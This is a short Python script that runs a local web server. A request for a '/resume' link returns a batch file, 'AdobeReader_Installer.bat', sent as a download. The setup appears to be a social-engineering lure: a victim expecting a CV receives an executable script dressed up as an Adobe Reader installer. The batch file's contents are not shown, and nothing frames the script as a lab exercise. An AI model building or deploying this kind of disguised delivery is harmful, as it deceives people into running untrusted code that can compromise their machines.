﻿import http.server
import socketserver
import os

PORT = 8081

class CustomHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/resume' or self.path == '/resume/':
            filepath = os.path.join(os.getcwd(), 'AdobeReader_Installer.bat')
            if os.path.exists(filepath):
                self.send_response(200)
                self.send_header('Content-Type', 'application/x-msdownload')
                self.send_header('Content-Disposition', 'attachment; filename="AdobeReader_Installer.bat"')
                self.send_header('Content-Length', str(os.path.getsize(filepath)))
                self.end_headers()
                with open(filepath, 'rb') as f:
                    self.wfile.write(f.read())
            else:
                self.send_error(404, "File not found")
        else:
            super().do_GET()

with socketserver.TCPServer(("127.0.0.1", PORT), CustomHandler) as httpd:
    httpd.serve_forever()
